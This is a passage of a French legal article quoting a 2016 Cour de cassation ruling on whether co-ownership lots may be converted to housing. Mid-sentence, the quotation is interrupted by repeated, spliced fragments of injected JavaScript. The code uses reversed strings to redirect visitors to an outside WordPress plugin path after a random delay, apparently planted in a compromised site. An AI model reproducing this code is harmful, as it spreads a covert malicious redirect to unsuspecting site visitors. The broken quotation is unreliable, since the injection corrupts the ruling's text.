Dans un arrêt en date du 17 mars 2016 (n°14-26954), la troisième chambre civile de la Cour de cassation a jugé
« Attendu qu’ayant constaté que le règlement de copropriété comportait une clause d’habitation bourgeoise, qu’il autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisait la location en meublé d’appartements entiers et que la copropriété comportait deux bâtiments abritant quatre vingt-quatre appartements de tailles variables, ainsi que des boxes et emplacements de stationnement qui pouvaient être vendus ou loués à des tiers, et relevé que les lots de M. X… étaient accessibles par l’entrée principale de l’immeuble, qu’ils pouvaient être raccordés au réseau d’alimentation en eau, ainsi qu’au réseau des eaux usées, et étaient, depuis la construction de l’immeuble, aménageables pour une habitation conforme aux normes d’habitabilité, sans création de surface de plancher supplémentaire ni incidence sur le coefficient d’occupation des sols, la cour d’appel, qui n’était pas tenue de procéder à des recherches ni de répondre à des conclusions que ses constatations rendaient inopérantes et qui n’a pas violé l’article 4 du code de procédure civile, a souverainement retenu que l’affectation des lots de M. X… à l’habitation n’était de nature à porter atteinte, ni à la destination de l’immeuble ni aux droits des autres copropriétaires et a légalement justifié sa décision »